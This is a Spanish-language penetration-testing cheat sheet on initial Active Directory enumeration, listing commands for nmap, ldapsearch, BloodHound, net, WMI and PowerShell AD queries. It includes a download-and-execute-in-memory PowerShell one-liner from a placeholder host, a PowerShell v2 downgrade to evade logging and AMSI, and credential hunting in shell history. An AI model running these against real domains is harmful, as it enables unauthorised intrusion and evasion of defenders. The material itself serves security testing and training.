Active Directory — Initial Enumeration
Herramientas de referencia
- PowerView/SharpView
- BloodHound
- SharpHound
- BloodHound.py
- Kerbrute
- Impacket
- Responder
- CrackMapExec (ver también NetExec, su sucesor —
smb.md/mssql.md) - Rubeus
- enum4linux / enum4linux-ng
- ldapsearch
- windapsearch
- smbmap
- adidnsdump
- Snaffler
- Mimikatz
- secretsdump.py
- evil-winrm
- PingCastle
- Group3r
- ADRecon
- noPac.py
- gpp-decrypt
- GetNPUsers.py
- lookupsid.py
- ticketer.py
- raiseChild.py
- linkedin2username
- Dehashed
Instalación de herramientas clave
Kerbrute — compilar desde fuente
c
❯ sudo git clone https://github.com/ropnop/kerbrute.git
❯ cd /tmp/kerbrute
❯ sudo make all
❯ sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
❯ ./kerbrute_linux_amd64evil-winrm
c
❯ gem install evil-winrmBloodHound — iniciar base de datos Neo4j
c
❯ sudo neo4j startReconocimiento de red desde Linux
Wireshark y tcpdump — captura de tráfico
c
❯ sudo -E wireshark
❯ sudo tcpdump -i ens224- Útil para capturar tráfico de la red y descubrir hosts, protocolos y credenciales en texto claro circulando por el segmento — combinar con el envenenamiento LLMNR/NBT-NS (ver el documento dedicado de esta colección) para capturar hashes NTLMv2 pasando por la interfaz.
nmap — escaneo de hosts
c
# Escaneo de un host específico
❯ nmap -A 172.16.5.100
# Escaneo de lista de hosts con output a archivo
❯ sudo nmap -v -A -iL hosts.txt -oN /home/user/Documents/host-enumOSINT externo
Google Dorks
c
filetype:pdf inurl:empresacorp.com
intext:"@empresacorp.com" inurl:empresacorp.comCredential Hunting
c
❯ sudo python3 dehashed.py -q empresacorp.local -pReconocimiento básico del host (Windows)
c
hostname
[System.Environment]::OSVersion.Version
wmic qfe get Caption,Description,HotFixID,InstalledOn
ipconfig /all
set
echo %USERDOMAIN%
echo %logonserver%
arp -a
route print
netsh advfirewall show allprofiles
sc query windefend
Get-MpComputerStatus
qwinstaPowerShell — información básica
powershell
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt- El historial de PSReadline (
ConsoleHost_history.txt) a menudo contiene comandos previos ejecutados por otros usuarios/administradores en la misma máquina — incluyendo, ocasionalmente, contraseñas pasadas como argumento en texto plano.
Descargar y ejecutar desde memoria
powershell
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<IP>/PowerView.ps1'); <comando>"-nop(-NoProfile) : evita cargar el perfil de PowerShell del usuario, reduciendo la huella dejada y acelerando el arranque.- Ejecutar el script directamente en memoria (
IEX) evita escribirlo en disco, reduciendo la probabilidad de detección por AV basado en firmas de archivo — aunque EDRs modernos con AMSI suelen inspeccionar igualmente el contenido en memoria.
Bajar versión de PowerShell (evadir logging)
powershell
powershell.exe -version 2
Get-host- PowerShell v2 no tiene los mismos mecanismos de logging avanzado (Script Block Logging, AMSI) introducidos en v5+ — si el motor v2 sigue instalado (deprecado pero a veces presente por compatibilidad), forzar su uso reduce la visibilidad para el equipo defensor.
Ping sweep en PowerShell
powershell
6..7 | ForEach-Object { $i = $_; 1..254 | ForEach-Object { if (Test-Connection -ComputerName "172.16.$i.$_" -Count 1 -Quiet) { write-host "172.16.$i.$_ is UP" } } }WMI — Reconocimiento del sistema
c
# Sistema y dominio
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List
# Todos los procesos activos
wmic process list /format:list
# DCs del dominio
wmic ntdomain list /format:list
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress
# Cuentas de usuario
wmic useraccount list /format:list
# Grupos locales
wmic group list /format:list
# Cuentas de servicio
wmic sysaccount list /format:listwmicestá deprecado desde Windows 10 21H1+ a favor de PowerShell/CIM — sigue presente en muchos sistemas, pero conviene tener también a mano los equivalentesGet-CimInstance(verWindows-Remote-Management-Protocols.md) para sistemas donde ya fue removido.
Net Commands — enumeración rápida
c
net accounts # política de contraseñas local
net accounts /domain # política de contraseñas del dominio
net user /domain # todos los usuarios del dominio
net user <usuario> /domain # info de un usuario específico
net user %username% # info del usuario actual
net group /domain # todos los grupos del dominio
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net group "domain computers" /domain
net group <nombre_grupo> /domain
net localgroup # grupos locales
net localgroup Administrators
net localgroup administrators /domain
net localgroup administrators [username] /add
net share # recursos compartidos actuales
net use x: \\computer\share
net view
net view /all /domain
net view \\computer /ALL
net view /domainMódulo ActiveDirectory (PowerShell)
powershell
Import-Module ActiveDirectory
# Dominio
Get-ADDomain
Get-ADDomainController
Get-ADForest
# Usuarios
Get-ADUser -Filter *
Get-ADUser -Identity <usuario> -Properties *
Get-ADUser -Filter {Enabled -eq $true}
Get-ADUser -Filter {PasswordNeverExpires -eq $true}
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADUser -Filter * -Properties MemberOfPasswordNeverExpires -eq $true: identifica cuentas de servicio o legacy con contraseñas nunca rotadas — candidatos de alto valor para fuerza bruta/spraying.ServicePrincipalName -ne "$null": lista cuentas con SPN asignado, el requisito para ataques Kerberoasting (ver el documento dedicado de Kerberos en esta colección).
powershell
# Grupos
Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "Backup Operators"
Get-ADGroupMember -Identity "Domain Admins"
# Computadoras
Get-ADComputer -Filter *
Get-ADComputer -Filter {OperatingSystem -like "*Server*"}
# OUs
Get-ADOrganizationalUnit -Filter *
# Política de contraseñas
Get-ADDefaultDomainPasswordPolicy
# Trusts
Get-ADTrust -Filter *
# Objetos LDAP
Get-ADObject -LDAPFilter "(objectClass=*)"
Get-ADObject -Identity "<DistinguishedName>"Dsquery
c
# Usuarios
dsquery user
# Computadoras
dsquery computer
# Wildcard en un contenedor
dsquery * "CN=Users,DC=EMPRESACORP,DC=LOCAL"
# Cuentas con PASSWD_NOTREQD (no requieren contraseña)
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
# Domain Controllers
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountNamePASSWD_NOTREQD(flag32enuserAccountControl) es una configuración legacy peligrosa: la cuenta puede tener contraseña vacía sin que el sistema lo impida — siempre vale la pena probar autenticación con contraseña vacía contra estas cuentas.
Enumeración desde Linux
ldapsearch
c
# Política de contraseñas (sesión anónima)
❯ ldapsearch -H ldap://172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# Todos los usuarios (sesión anónima)
❯ ldapsearch -h 172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "- Que LDAP acepte bind anónimo (sin credenciales) es en sí mismo un hallazgo de configuración débil — muchos entornos modernos lo deshabilitan, pero sigue siendo común en dominios legacy.
windapsearch
c
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Password123!' --da
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Password123!' -PU--da: enumera miembros del grupo Domain Admins directamente.-PU: enumera usuarios con privilegios (miembros de grupos privilegiados) de forma más amplia que solo Domain Admins.
BloodHound.py
c
❯ bloodhound-python -u 'jsmith' -p 'Password123!' -ns 172.16.5.5 -d empresacorp.local -c all
❯ zip -r empresacorp_bh.zip *.json-c all: recolecta todas las categorías de datos disponibles (sesiones, ACLs, membresías de grupo, trusts, etc.) — el resultado se importa directamente en la interfaz de BloodHound para análisis visual de rutas de ataque hacia Domain Admin.
adidnsdump
c
❯ adidnsdump -u empresacorp\\jsmith ldap://172.16.5.5
❯ adidnsdump -u empresacorp\\jsmith ldap://172.16.5.5 -r-r: intenta resolver también los registros que no tienen permiso de lectura por defecto, ampliando la cobertura del volcado de la zona DNS interna — útil para mapear todos los hosts internos del dominio, incluso los no descubiertos por otros medios.